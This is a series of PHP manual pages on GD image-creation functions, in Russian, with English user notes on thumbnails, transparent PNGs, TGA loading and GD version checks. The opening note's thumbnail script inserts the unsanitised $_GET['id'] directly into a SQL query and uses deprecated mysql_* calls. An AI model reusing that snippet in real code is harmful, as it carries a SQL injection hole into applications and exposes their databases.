shiehj at yahoo dot com 11-Apr-2003 09:44
Here is the code I did to create a thumbnail image from the database blob field. The trick is to use "imagecreatefromstring()" to create an image file.

Jack Shieh

<?php
require("dbconfig.inc");

$id = $_GET['id'];

if($id) {

    $link = @mysql_connect($host, $user, $password) or die("Could not connect: " . mysql_error());
    @mysql_select_db($dbname, $link);

    $query = "select filetype, image from pictures where id = $id";
    $result = @mysql_query($query);

    $data = @mysql_result($result,0,"image");
    $type = @mysql_result($result,0,"filetype");

    Header( "Content-type: $type");

    $size = 150;  // new image width
    $src = imagecreatefromstring($data);
    $width = imagesx($src);
    $height = imagesy($src);
    $aspect_ratio = $height/$width;

    if ($width <= $size) {
      $new_w = $width;
      $new_h = $height;
    } else {
      $new_w = $size;
      $new_h = abs($new_w * $aspect_ratio);
    }

    $img = imagecreatetruecolor($new_w,$new_h);
    imagecopyresized($img,$src,0,0,0,0,$new_w,$new_h,$width,$height);

    // determine image type and send it to the client
    if ($type == "image/pjpeg") {
      imagejpeg($img);
    } else if ($type == "image/x-png") {
      imagepng($img);
    } else if ($type == "image/gif") {
      imagegif($img);
    }
    imagedestroy($img);
    mysql_close($link);
};
?>
adrian_schmidt at yahoo dot com 05-Mar-2003 04:04
I'm trying to get the imagecreatefromstring to work with GIFs. Of course, it won't.
I've read the tips but can't get them to work either.
The following is what I tried, based on above tips:

---

    header('Content-Type: image/gif');
    header('Content-Disposition: inline; filename=file.gif');

    $temp = tmpfile();
    fwrite($temp, $line['image']);
    $src_img = imagecreatefromgif($temp);
    fclose($temp); // this removes the file
    $dst_img = imagecreatetruecolor(100, 100);
    imagecopyresampled($dst_img, $src_img, 0,0,0,0, 100,100, imagesx($src_img), imagesy($src_img));

    imagegif($dst_img);

---

where $line['image'] is the gif as taken from my MySQL database...

If anyone that has been able to make something like this work could give me a working piece of code I'd be really greatful!

I would be great if the tempfile could be excluded too...

Below is a working piece of code for jpeg:

---

    header('Content-Type: image/jpeg');
    header('Content-Disposition: inline; filename=file.jpg');

    $src_img = imagecreatefromstring($line['image']);
    $dst_img = imagecreatetruecolor(100, 100);
    imagecopyresampled($dst_img, $src_img, 0,0,0,0, 100,100, imagesx($src_img), imagesy($src_img));

    imagejpeg($dst_img);


Создаёт новое изображение из файла или URL

  • « imagecreatefromstring
  • imagecreatefromwbmp »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Создаёт новое изображение из файла или URL

imagecreatefromtga

(PHP 7 >= 7.4.0, PHP 8)

imagecreatefromtga — Создаёт новое изображение из файла или URL

Описание

imagecreatefromtga(string $filename): GdImage|false

imagecreatefromtga() возвращает объект изображения, представляющий изображение, полученное из данного имени файла.

Список параметров

filename

Путь к изображению Truevision TGA.

Возвращаемые значения

Возвращает объект изображения в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | В случае успешного выполнения функция теперь возвращает экземпляр GDImage; ранее возвращался ресурс (resource).

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новое изображение из файла или URL

  • « imagecreatefromtga
  • imagecreatefromwebp »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Создаёт новое изображение из файла или URL

imagecreatefromwbmp

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

imagecreatefromwbmp — Создаёт новое изображение из файла или URL

Описание

imagecreatefromwbmp(string $filename): GdImage|false

imagecreatefromwbmp() возвращает идентификатор изображения, представляющего изображение полученное из файла с заданным именем.

Замечание: Изображения WBMP представляют собой Wireless Bitmaps, а не Windows Bitmaps. Последние могут быть загружены с помощью imagecreatefrombmp().

Подсказка

Для этой функции вы можете использовать URL в качестве имени файла, если была включена опция fopen wrappers. Смотрите более подробную информацию об определении имени файла в описании функции fopen(). Смотрите также список поддерживаемых обёрток URL, их возможности, замечания по использованию и список предопределённых констант в разделе Поддерживаемые протоколы и обёртки.

Список параметров

filename

Путь к изображению WBMP.

Возвращаемые значения

Возвращает объект изображения в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | В случае успешного выполнения функция теперь возвращает экземпляр GDImage; ранее возвращался ресурс (resource).

Примеры

Пример #1 Пример обработки ошибки при загрузке WBMP

<?php
function LoadWBMP($imgname)
{
/* Пытаемся открыть */
$im = @imagecreatefromwbmp($imgname);

/* Если не удалось */
if(!$im)
{
/* Создаём пустое изображение */
$im = imagecreatetruecolor(150, 30);
$bgc = imagecolorallocate($im, 255, 255, 255);
$tc = imagecolorallocate($im, 0, 0, 0);

imagefilledrectangle($im, 0, 0, 150, 30, $bgc);

/* Выводим сообщение об ошибке */
imagestring($im, 1, 5, 5, 'Ошибка загрузки ' . $imgname, $tc);
}

return $im;
}

header('Content-Type: image/vnd.wap.wbmp');

$img = LoadWBMP('bogus.image');

imagewbmp($img);
imagedestroy($img);
?>

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новое изображение из файла или URL

  • « imagecreatefromwbmp
  • imagecreatefromxbm »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Создаёт новое изображение из файла или URL

imagecreatefromwebp

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

imagecreatefromwebp — Создаёт новое изображение из файла или URL

Описание

imagecreatefromwebp(string $filename): GdImage|false

imagecreatefromwebp() возвращает идентификатор изображения, представляющий изображение, полученное из переданного имени файла. Обратите внимание, что анимированные файлы WebP не читаются.

Подсказка

Для этой функции вы можете использовать URL в качестве имени файла, если была включена опция fopen wrappers. Смотрите более подробную информацию об определении имени файла в описании функции fopen(). Смотрите также список поддерживаемых обёрток URL, их возможности, замечания по использованию и список предопределённых констант в разделе Поддерживаемые протоколы и обёртки.

Список параметров

filename

Путь к WebP-изображению.

Возвращаемые значения

Возвращает объект изображения в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | В случае успешного выполнения функция теперь возвращает экземпляр GDImage; ранее возвращался ресурс (resource).

Примеры

Пример #1 Конвертирование WebP-изображения к jpeg-изображению, используя imagecreatefromwebp()

<?php
// Загрузить WebP-файл
$im = imagecreatefromwebp('./example.webp');

// Сконвертировать его в jpeg-файл со 100%-качеством
imagejpeg($im, './example.jpeg', 100);
imagedestroy($im);
?>

User Contributed Notes

kawewong at gmail dot com 23-Jul-2021 09:43
PHP GD and WebP support:

Normal WebP (VP8): supported since PHP 5.4
Transparent WebP or alpha transparency (VP8X, VP8L): supported since PHP 7.0
Animated WebP (VP8X): not supported at all.

You can use the images from here https://developers.google.com/speed/webp/gallery2
here https://ezgif.com/help/alternative-animated-image-formats
and here https://developers.google.com/speed/webp/gallery1

Test with imagecreatefromwebp('your-image.webp'); and see the errors.

You can detect animated or transparent webp using this code.

<?php
/**
 * Get WebP file info.
 *
 * @link https://www.php.net/manual/en/function.pack.php unpack format reference.
 * @link https://developers.google.com/speed/webp/docs/riff_container WebP document.
 * @param string $file
 * @return array|false Return associative array if success, return `false` for otherwise.
 */
function webpinfo($file) {
    if (!is_file($file)) {
        return false;
    } else {
        $file = realpath($file);
    }

    $fp = fopen($file, 'rb');
    if (!$fp) {
        return false;
    }

    $data = fread($fp, 90);

    fclose($fp);
    unset($fp);

    $header_format = 'A4Riff/' . // get n string
        'I1Filesize/' . // get integer (file size but not actual size)
        'A4Webp/' . // get n string
        'A4Vp/' . // get n string
        'A74Chunk';
    $header = unpack($header_format, $data);
    unset($data, $header_format);

    if (!isset($header['Riff']) || strtoupper($header['Riff']) !== 'RIFF') {
        return false;
    }
    if (!isset($header['Webp']) || strtoupper($header['Webp']) !== 'WEBP') {
        return false;
    }
    if (!isset($header['Vp']) || strpos(strtoupper($header['Vp']), 'VP8') === false) {
        return false;
    }

    if (
        strpos(strtoupper($header['Chunk']), 'ANIM') !== false ||
        strpos(strtoupper($header['Chunk']), 'ANMF') !== false
    ) {
        $header['Animation'] = true;
    } else {
        $header['Animation'] = false;
    }

    if (strpos(strtoupper($header['Chunk']), 'ALPH') !== false) {
        $header['Alpha'] = true;
    } else {
        if (strpos(strtoupper($header['Vp']), 'VP8L') !== false) {
            // if it is VP8L, I assume that this image will be transparency
            // as described in https://developers.google.com/speed/webp/docs/riff_container#simple_file_format_lossless
            $header['Alpha'] = true;
        } else {
            $header['Alpha'] = false;
        }
    }

    unset($header['Chunk']);
    return $header;
}// webpinfo
?>

Reference: https://stackoverflow.com/a/68491679/128761

Usage:

<?php
$info = webpinfo('your-image.webp');
if (isset($info['Animation']) && $info['Animation'] === true) {
    echo 'It is animated webp.';
}
if (isset($info['Alpha']) && $info['Alpha'] === true) {
    echo 'It is transparent webp.';
}
?>


Создаёт новое изображение из файла или URL

  • « imagecreatefromwebp
  • imagecreatefromxpm »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Создаёт новое изображение из файла или URL

imagecreatefromxbm

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

imagecreatefromxbm — Создаёт новое изображение из файла или URL

Описание

imagecreatefromxbm(string $filename): GdImage|false

imagecreatefromxbm() возвращает идентификатор изображения, представляющего изображение полученное из файла с заданным именем.

Подсказка

Для этой функции вы можете использовать URL в качестве имени файла, если была включена опция fopen wrappers. Смотрите более подробную информацию об определении имени файла в описании функции fopen(). Смотрите также список поддерживаемых обёрток URL, их возможности, замечания по использованию и список предопределённых констант в разделе Поддерживаемые протоколы и обёртки.

Список параметров

filename

Путь к изображению XBM.

Возвращаемые значения

Возвращает объект изображения в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | В случае успешного выполнения функция теперь возвращает экземпляр GDImage; ранее возвращался ресурс (resource).

Примеры

Пример #1 Преобразование XBM изображения в png, используя imagecreatefromxbm()

<?php
// загрузка xbm файла
$xbm = imagecreatefromxbm('./example.xbm');

// Преобразование в png файл
imagepng($xbm, './example.png');
imagedestroy($xbm);
?>

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новое изображение из файла или URL

  • « imagecreatefromxbm
  • imagecreatetruecolor »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Создаёт новое изображение из файла или URL

imagecreatefromxpm

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

imagecreatefromxpm — Создаёт новое изображение из файла или URL

Описание

imagecreatefromxpm(string $filename): GdImage|false

imagecreatefromxpm() возвращает идентификатор изображения, представляющего изображение полученное из файла с заданным именем.

Подсказка

Для этой функции вы можете использовать URL в качестве имени файла, если была включена опция fopen wrappers. Смотрите более подробную информацию об определении имени файла в описании функции fopen(). Смотрите также список поддерживаемых обёрток URL, их возможности, замечания по использованию и список предопределённых констант в разделе Поддерживаемые протоколы и обёртки.

Список параметров

filename

Путь к изображению XPM.

Возвращаемые значения

Возвращает объект изображения в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | В случае успешного выполнения функция теперь возвращает экземпляр GDImage; ранее возвращался ресурс (resource).

Примеры

Пример #1 Создание изображения, используя imagecreatefromxpm()

<?php
// Проверка наличия XPM поддержки
if(!(imagetypes() & IMG_XPM))
{
die('Поддержка xpm не найдена!');
}

// Создание изображения
$xpm = imagecreatefromxpm('./example.xpm');

// Различные операции с изображением

// PHP не поддерживает запись xpm изображений
// поэтому мы сохраним изображение, как
// jpeg файл со 100% качеством
imagejpeg($xpm, './example.jpg', 100);
imagedestroy($xpm);
?>

User Contributed Notes

There are no user contributed notes for this page.


Создание нового полноцветного изображения

  • « imagecreatefromxpm
  • imagecrop »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Создание нового полноцветного изображения

imagecreatetruecolor

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

imagecreatetruecolor — Создание нового полноцветного изображения

Описание

imagecreatetruecolor(int $width, int $height): GdImage|false

imagecreatetruecolor() возвращает объект, представляющий чёрное изображение заданного размера.

Список параметров

width

Ширина изображения.

height

Высота изображения.

Возвращаемые значения

Возвращает объект изображения в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | В случае успешного выполнения функция теперь возвращает экземпляр GDImage; ранее возвращался ресурс (resource).

Примеры

Пример #1 Создание нового потока GD изображения и вывод картинки.

<?php
header ('Content-Type: image/png');
$im = @imagecreatetruecolor(120, 20)
or die('Невозможно инициализировать GD поток');
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5, 'Простая Текстовая Строка', $text_color);
imagepng($im);
imagedestroy($im);
?>

Результатом выполнения данного примера будет что-то подобное:

Вывод примера: Создание нового потока GD изображения и вывод картинки.

Смотрите также

  • imagedestroy() - Уничтожение изображения
  • imagecreate() - Создание нового палитрового изображения

User Contributed Notes

Hamza Ahmad 28-Jan-2021 07:23
As of PHP 8, the return type for image creation functions is GdImage instead of a resource. Therefore, people can type hint.
<?php
class MyImage {
private GdImage $img;
};
?>
Similarly, <?php
function save_image(GdImage $img, string $name, string $directory = null) : bool
{
/*...*/
};
?>
smcjones at gmail dot com 18-May-2014 08:51
Please note that if you are receiving a warning about incorrect dimensions in PHP, it could be because your values are being stored as strings. You can use intval() to change a string value into an integer value which will pass the correct information into this function.
jessiedeer at hotmail dot com 24-Aug-2013 05:47
There is no need to allocate colors with imagecreatetruecolor. All [256 x 256 x 256 x 128] true colors are already allocated, and you can use the color indexes directly.

Examples :
Blue => color index 255.
White => color index 16777215 (= 255*256? + 255*256+255).
Full transparent => color index 2130706432 (= 127*256^3).
arthur at kuhrmeier dot com 26-Aug-2010 08:38
HOW THE CHECK THE MEMORY BEFORE CREATING AN IMAGE?

I worked on a script where I delt with large images. Very often the error "out of memory" occured. So I had to figure out, how to check the memory BEFORE creating an image. I didn't find a solution on the web, so I ran my own test script. It built lots of images to compute the needed memory. I found out, that the formula mem = x * y * channel was not enough. There was an additional multiplier that varied. As a result 1.7 worked best. So the formula is: mem = x * y * channel * 1.7.

I post this script here hoping it is useful to someone who will run into the same problems.

<?php
//-------------------------------------------------- DEFINE MAXMEM
define ("MAXMEM", 32*1024*1024);  //--- memory limit (32M) ---

//-------------------------------------------------- ENOUGH MEMORY ?
function enoughmem ($x, $y, $rgb=3) {
    return ( $x * $y * $rgb * 1.7 < MAXMEM - memory_get_usage() );
}

//-------------------------------------------------- SIMPLE EXAMPLE
list ($x, $y) = @getimagesize ('your_img.jpg');  //--- get size of img ---
if (enoughmem($x,$y)) {
    $img = @imagecreatefromjpeg ('your_img.jpg');  //--- open img file ---
    $thumb = 200;  //--- max. size of thumb ---
    if ($x > $y) {
        $tx = $thumb;  //--- landscape ---
        $ty = round($thumb / $x * $y);
    } else {
        $tx = round($thumb / $y * $x);  //--- portrait ---
        $ty = $thumb;
    }
    if (enoughmem($tx,$ty)) {
        $thb = imagecreatetruecolor ($tx, $ty);  //--- create thumbnail ---
        imagecopyresampled ($thb,$img, 0,0, 0,0, $tx,$ty, $x,$y);
        imagejpeg ($thb, 'your_thumbnail.jpg', 80);
        imagedestroy ($thb);
    }
    imagedestroy ($img);
}

//--------------------------------------------------
//--- to check the memory working with           ---
//--- b/w-image or gif use:                      ---
//--------------------------------------------------
$check = enoughmem ($x, $y, 1);
?>

Taking the opportunity, I thank everyone here at php.net for the great manual and the useful user scripts.
hemjesti at yahoo dot com 28-May-2009 02:07
I put this together - combining two of the examples and then generated the text dynamically. but, with this set up, i was able to get the transparent background working as well.

<?php
// Set the content-type

header('Content-type: image/png');

// Create the image
$im = imagecreatetruecolor(175, 15);
imagesavealpha($im, true);

// Create some colors
$white = imagecolorallocate($im, 255, 255, 255);
$grey = imagecolorallocate($im, 128, 128, 128);
$black = imagecolorallocate($im, 0, 0, 0);
imagefilledrectangle($im, 0, 0, 150, 25, $black);
$trans_colour = imagecolorallocatealpha($im, 0, 0, 0, 127);
imagefill($im, 0, 0, $trans_colour);

// The text to draw
$text = $_GET['text'];
// Replace path by your own font path
$font = 'catriel regular.ttf';

// Add some shadow to the text
imagettftext($im, 9, 0, 13, 16, $black, $font, $text);

// Add the text
imagettftext($im, 9, 0, 12, 15, $white, $font, $text);

// Using imagepng() results in clearer text compared with imagejpeg()
imagepng($im);
imagedestroy($im);
?>
weareexit at yahoo dot co dot uk 10-Mar-2008 03:51
If you want to place an image on a larger canvas you've previously created with imagecreatetruecolor(), but you don't want the default black background to surround it: use imagefill() AFTER imagecopyresampled().

I have no idea why this should be the case, but it works!
Richard Davey rich at corephp dot co dot uk 22-May-2007 04:50
If you want to create a *transparent* PNG image, where the background is fully transparent, and all draw operations happen on-top of this, then do the following:

<?php
    $png = imagecreatetruecolor(800, 600);
    imagesavealpha($png, true);

    $trans_colour = imagecolorallocatealpha($png, 0, 0, 0, 127);
    imagefill($png, 0, 0, $trans_colour);

    $red = imagecolorallocate($png, 255, 0, 0);
    imagefilledellipse($png, 400, 300, 400, 300, $red);

    header("Content-type: image/png");
    imagepng($png);
?>

What you do is create a true colour image, make sure that the alpha save-state is on, then fill the image with a colour that has had its alpha level set to fully transparent (127).

The resulting PNG from the code above will have a red circle on a fully transparent background (drag the image into Photoshop to see for yourself)
phpnet at sjeiti dot com 06-Feb-2007 02:32
Just a small rectification for the msg by '
thomas dot urban at toxa dot de' (23-May-2006 03:28) about transparency.
Line 3 in the example returns a 'wrong parameter warning': 'imagecolorallocate' should be replaced by 'imagecolorallocatealpha'.
(You better just alter that note and delete this one.)
behun at webconsult dot sk 27-Aug-2006 01:54
imagecreatetruecolor() returns not only image identifier representing a black image of size x_size by y_size.

imagecreatetruecolor() is called to create truecolor images, with an essentially unlimited number of colors (also not only 256 colors).
Florin [ florin.at.flachi.dot.net ] 21-Jul-2006 02:52
A very simple and efficient way to create RGB color from hexadecimal (HTML) notation:

<?php

    function color_hex2dec ($color) {
        return array (hexdec (substr ($color, 0, 2)), hexdec (substr ($color, 2, 2)), hexdec (substr ($color, 4, 2)));
    }

    list ($r, $g, $b) = color_hex2dec ('FFEECC');

?>
j.fenin _At_ seekport [d0t] biz 11-Jul-2006 09:09
I had a strange bug occurring under Debian Linux with PHP5.

In file B (where I create the image) I included a file (file A). The image that was produced was always corrupt. When I did not include file A, everything was fine.

After 2 hours of searching I found that there were some extra spaces and linefeeds after the PHP closing tag ?> in file A. After removing those chars, everything works fine again.

Obviously those extra bytes of file A were added to the image and corrupted it.
d dot duquenoy at kdland dot org 01-Jun-2006 01:26
My function to know how much bytes imagecreate or imagecreatetruecolor require before using it.
<?php
function getNeededMemoryForImageCreate($width, $height, $truecolor) {
  return $width*$height*(2.2+($truecolor*3));
}
?>
thomas dot urban at toxa dot de 22-May-2006 06:28
This is another approach to get an initially transparent truecolor canvas and in comparison to the one below it does not declare black to be transparent (which might be okay on indexed-color images and unless you want to draw in black) ...

$im = imagecreatetruecolor( $w, $h );
imagealphablending( $im, false );
$col = imagecolorallocate( $im, 0, 0, 0, 127 );
imagefilledrectangle( $im, 0, 0, $w, $h, $col );
imagealphablending( $im, true );

Without disabling blending mode this would paint transparent rectangle over current background thus not changing anything. Nevertheless blending mode is required e.g. to get proper results from using imagettftext ... that's why it is enabled after filling, again.

Don't miss to disable blending mode and enable savealpha prior to generating a PNG ...

imagealphablending( $im, false );
imagesavealpha( $im, true );
imagepng( $im );
send at mail dot 2aj dot net 24-Jun-2005 07:40
If you want a simple way to mirror images, use the function I've included below.

<?php
function image_mirror ($input_image_resource)
{
    $width = imagesx ( $input_image_resource );
    $height = imagesy ( $input_image_resource );
    $output_image_resource = imagecreatetruecolor ( $width, $height );
    $y = 1;

    while ( $y < $height )
    {
        for ( $i = 1; $i <= $width; $i++ )
            imagesetpixel ( $output_image_resource, $i, $y, imagecolorat ( $input_image_resource, ( $i ), ( $height - $y ) ) );
        $y = $y + 1;
    }

    return $output_image_resource;
}
?>
Example Usage:
<?php

// A good use of this is when a user uploads a TGA file,
// on the completion screen show the image and have a link
// that asks if the image appears mirrored, and if so
// that link will execute these commands below.

// I suggest checking $HTTP_REFERER for security.

// $_GET['file'] in this case would be something along the lines
// of johndoe-img0001 (Basename is necessary to prevent
// abuse of this script!)

if ( isset( $_GET['file'] ) )
{
    $filename = "./" . basename ( $_GET['file'] ) . ".jpg";
// Making the image resource that needs to be mirrored
// Taking it from a previously exported to JPEG file.
    $output_resource_image = image_mirror ( imagecreatefromjpeg ( $filename ) );
    if ( imagejpeg ( $output_resource_image, $filename, 75 ) )
        echo "Image resaved successfully";
    else
        echo "Image couldn't be written over (Check permissions)!";
}
?>
21-Jun-2005 03:17
// Creates a transparent image rather than the default black image
function imageCreateTransparent($x, $y) {
    $imageOut = imagecreate($x, $y);
    $colourBlack = imagecolorallocate($imageOut, 0, 0, 0);
    imagecolortransparent($imageOut, $colourBlack);
    return $imageOut;
}
send at mail dot 2aj dot net 20-Jun-2005 06:20
Thanks to OverFlow636 at gmail dot com and kuya1284 at techie dot com for their original coding which this function is based upon.

PHP lacks an imagecreatefromtga function, so I have prepared a simple function to include in your library if you deal with TGA images. In addition to creating an image from TGA, it also, optionally, will output an array with the dimensions of the image because getimagesize() does not function with TGA files.

Hopefully this function will eventually be unneeded if GD is ever updated to support the TGA format.

Please keep in mind that TGA's come in many different compressions, color settings, and as a result this function will not work 100% of the time. Resulting images will fit the symptoms kuya1284 at techie dot com mentioned, and as a result you may need to create a second function. Keep in mind that using her code causes the "mirror" effect on images that load properly with the following function.

<?php
function imagecreatefromtga ( $filename, $return_array = 0 )
{
    $handle = fopen ( $filename, 'rb' );
    $data = fread ( $handle, filesize( $filename ) );
    fclose ( $handle );

    $pointer = 18;
    $x = 0;
    $y = 0;
    $w = base_convert ( bin2hex ( strrev ( substr ( $data, 12, 2 ) ) ), 16, 10 );
    $h = base_convert ( bin2hex ( strrev ( substr ( $data, 14, 2 ) ) ), 16, 10 );
    $img = imagecreatetruecolor( $w, $h );

    while ( $pointer < strlen ( $data ) )
    {
        imagesetpixel ( $img, $x, $y, base_convert ( bin2hex ( strrev ( substr ( $data, $pointer, 3 ) ) ), 16, 10 ) );
        $x++;

        if ($x == $w)
        {
            $y++;
            $x=0;
        }

        $pointer += 3;
    }

    if ( $return_array )
        return array ( $img, $w, $h );
    else
        return $img;
}
?>

Example Usage

<?php
// Get the image & its dimensions
$array = imagecreatefromtga("source_image.tga",1);

// the image ( resource image )
$image = $array[0];

// its dimensions ( integers )
$dimensions['width'] = $array[1];
$dimensions['height'] = $array[2];

// Delete the image resource array entry to free memory
imagedestroy($array[0]);
?>

The second variable, $return_array is optional. If you simply want to load a TGA, leave the variable off the function's call as such:
<?
// Return the resource image alone
$resource_image = imagecreatefromtga ( "source_image.tga" );

// Declare the content-type as a JPEG image.
header ( 'Content-type: image/jpeg' );

// Convert the image to JPEG for smaller file size and compatability
imagejpeg ( $resource_image, NULL, 100 );
imagedestroy ( $resource_image );
?>
kuya1284 at techie dot com 26-Feb-2005 11:48
OverFlow636,

It appears that your code was causing TGA's to be inverted horizontally and upside down.  I modified your code accordingly. The sample below is an example of what I did to convert a tga to jpg. The for loop was taken from the comment below (Eric Mulders) to properly render the image.

Nice job with the code buddy.

function tga2jpg ($image)
{
    $handle = fopen($image, "rb");
    $data = fread($handle, filesize($image));
    fclose($handle);

    $pointer = 18;
    $w = fileint (substr ($data, 12, 2));
    $h = fileint (substr ($data, 14, 2));
    $x = 0;
    $y = $h;

    $img = imagecreatetruecolor($w, $h);

    while ($pointer < strlen($data))
    {
        imagesetpixel ($img, $x, $y, fileint (substr ($data, $pointer, 3)));

        $x++;

        if ($x == $w)
        {
            $y--;
            $x = 0;
        }

        $pointer += 3;
    }

    for($a = 0; $a < imagecolorstotal ($img); $a++)
    {
        $color = imagecolorsforindex ($img, $a);

        $R=.299 * ($color['red'])+ .587 * ($color['green'])+ .114 * ($color['blue']);
        $G=.299 * ($color['red'])+ .587 * ($color['green'])+ .114 * ($color['blue']);
        $B=.299 * ($color['red'])+ .587 * ($color['green'])+ .114 * ($color['blue']);

        imagecolorset ($img, $a, $R, $G, $B);
    }

    imagejpeg ($img, 'test.jpg', 100);
    imagedestroy ($img);
}

function fileint($str)
{
    return base_convert (bin2hex (strrev ($str)), 16, 10);
}

tga2jpg ('test.tga');
OverFlow636 at gmail dot com 14-Dec-2004 12:14
i dont know if there was an easyer way to do this, but heres my code to convert a .tga image to whatever you want to output it as
it works with basic tga files only

<?
$handle = fopen("xxx.tga","rb");
$data = fread($handle,filesize("xxx.tga"));
fclose($handle);
$pointer = 18;
$x = 0;
$y = 0;
$w = fileint(substr($data,12,2));
$h = fileint(substr($data,14,2));
$img = imagecreatetruecolor($w,$h);

while ($pointer < strlen($data))
{
imagesetpixel($img, $x,$y,fileint(substr($data,$pointer,3)));
$x++;

if ($x==$w)
{
$y++;
$x=0;
}

$pointer += 3;
}

header("Content-type: image/jpeg");
imagepng($img);
imagedestroy($img);

function fileint($str)
{
  return base_convert(bin2hex(strrev($str)),16,10);
}
?>
termian 05-Dec-2004 04:59
kai wrote:
//using imagecolorallocate to specify the image's background
//color does not work with truecolor-image.
//
//instead you have to use imagefill to force flood-filling the
//image with the backgorund-color previously allocated:
//
//$bgColor = imagecolorallocate($img, 255,255,255);
//imagefill($img , 0,0 , $bgColor);

even this doesn't work for my configuration - fedora core2, php 4.3.8 + gd bundled (2.0.23 compatible) and I have to do this:
$img = imagecreatetruecolor($x, $y);
$bgColor = imagecolorallocate($img, 255,255,255);
imagefilledrectangle($img, 0, 0, $x-1, $y-1, $bgColor);
kai at meder dot info 07-Oct-2004 09:20
using imagecolorallocate to specify the image's background color does not work with truecolor-image.

instead you have to use imagefill to force flood-filling the image with the backgorund-color previously allocated:

$bgColor = imagecolorallocate($img, 255,255,255);
imagefill($img , 0,0 , $bgColor);

kai
unigram at byair dot net 25-May-2004 02:46
If your hosting system does not have imagecreatetruecolor() because of PHP<4.2 and GD<2.0 then a get around is

<?
$thumb = imagecreate ($width, $height);
imageJPEG($thumb,"images/temp.jpg");
$thumb = @imagecreatefromjpeg("images/temp.jpg");
?>

which creates a thumbnail of right size, saves as a jpeg and then reads it, in true color.

This corrected the degradation caused by using palette images as destination for imagecopyresized ()
Justin Greer 08-Jan-2004 08:38
I know it's not a discussion board, but when incorrect info is posted, it should be corrected.

The function_exists() check does not work correctly because if PHP is compiled with an older GD library, the imagecreatetruecolor() function still exists -- it just gives a fatal error when called, stating that GD2 is required.  Therefore, the function_exists() method will fail on any new-ish copy of PHP that only has GD 1.x.  (That includes most of the 4.1.x and 4.2.x installs I've seen.)
fixxxer at php5 dot ru 26-Dec-2003 05:47
A note to post by Justin Greer @ 18-Nov-2003 10:40:

While this information has already been posted by php at REMOVEreallynicejerk dot com @ 16-Sep-2002 12:01, I feel it neccesary to notice 'cause Justin's post is in the top and it can make people go the wrong way: Justin's way of detecting which imagecreate function to use is too complicated, while there's an easy standard way:

<?php
if (function_exists('imagecreatetruecolor') {
 // use imagecreatetruecolor
} else {
 // use imagecreate
}
Justin Greer 18-Nov-2003 02:40
Unfortunately the @imagecreatetruecolor() method doesn't even work because php dies with a fatal error noting that GD 2 is required.  You can't even capture this error with a custom error handler.

I have come up with a function to get the GD version number that seems to work pretty well on every version of PHP and GD I've thrown at it (even CLI versions.)  It's obviously not the most efficient thing in the world, but it does cache the result in a static variable so calling it multiple times doesn't slow down further.

function gd_version() {
    static $gd_version_number = null;
    if ($gd_version_number === null) {
        // Use output buffering to get results from phpinfo()
        // without disturbing the page we're in.  Output
        // buffering is "stackable" so we don't even have to
        // worry about previous or encompassing buffering.
        ob_start();
        phpinfo(8);
        $module_info = ob_get_contents();
        ob_end_clean();
        if (preg_match("/\bgd\s+version\b[^\d\n\r]+?([\d\.]+)/i",
                $module_info,$matches)) {
            $gd_version_number = $matches[1];
        } else {
            $gd_version_number = 0;
        }
    }
    return $gd_version_number;
}

Then you can simply use it something like this:

if (gd_version() >= 2) {
    $image = ImageCreateTrueColor($width, $height);
} else {
    $image = ImageCreate($width, $height);
}
Hallvord RM Steen <phpnet at hallvord dot com> 27-Oct-2003 05:40
Regarding choosing the TrueColor or the plain version of imagecreate automatically, I've found that the following works for me:

<?php

$newImg=@ImageCreateTrueColor($width, $height)
    or $newImg=ImageCreate($width, $height);

?>
Jami 10-Jul-2003 03:11
It's good to use the imagecopyresampled- function when creating thumbnails with true colors, it might look better than imagecopyresized..
bjorntje at hotmail dot com 07-Jun-2003 10:41
I just fiddled around with Phpix, which had some problems using the GD lib
(washed out colours).
I changed the lines, which did the trick.
Just in case some of you are still having problems and
you can't change the PHP-install
on the hosting side:

$im = ImageCreateFromJPEG($source);
$new_im = ImageCreate($new_width,$new_height);

ImageCopyResized($new_im,$im,0,0,0,0,
$new_width,$new_height,ImageSX($im),ImageSY($im));

TO

$im = ImageCreateFromJPEG($source);
$new_im = ImageCreateTrueColor($new_width,$new_height);

ImageCopyResized($new_im,$im,0,0,0,0,$new_width,
$new_height,ImageSX($im),ImageSY($im));
Micke (micke dot prag at newstonight dot net) 08-Mar-2003 04:21
Here is my solution for creating images with the same code for both GD < 2 and GD > 2:

$dst_img = @imageCreateTrueColor($width, $height);
if (!$dst_img) { $dst_img = imageCreate($width, $height); }
Andreas from www.ems-p.de 28-Feb-2003 06:15
The request of gdlib from brad at brwebdesign dot com won't work with PHP < 4.1 (version_compare).

Some phpinfo versions offer the version number without space so you better ask for the dot:

ob_start();
phpinfo(8);
$phpinfo=ob_get_contents();
ob_end_clean();
$phpinfo=strip_tags($phpinfo);
$phpinfo=stristr($phpinfo,"gd version");
$phpinfo=stristr($phpinfo,"version");
$end=strpos($phpinfo,".");
$phpinfo=substr($phpinfo,0,$end);
$length = strlen($phpinfo)-1;
$phpinfo=substr($phpinfo,$length);
if($phpinfo<2){
    $dst_img=ImageCreate($new_w,$new_h);}
else {
    $dst_img=ImageCreateTrueColor($new_w,$new_h);
}
marc at thewebguys dot com dot au 24-Jan-2003 04:40
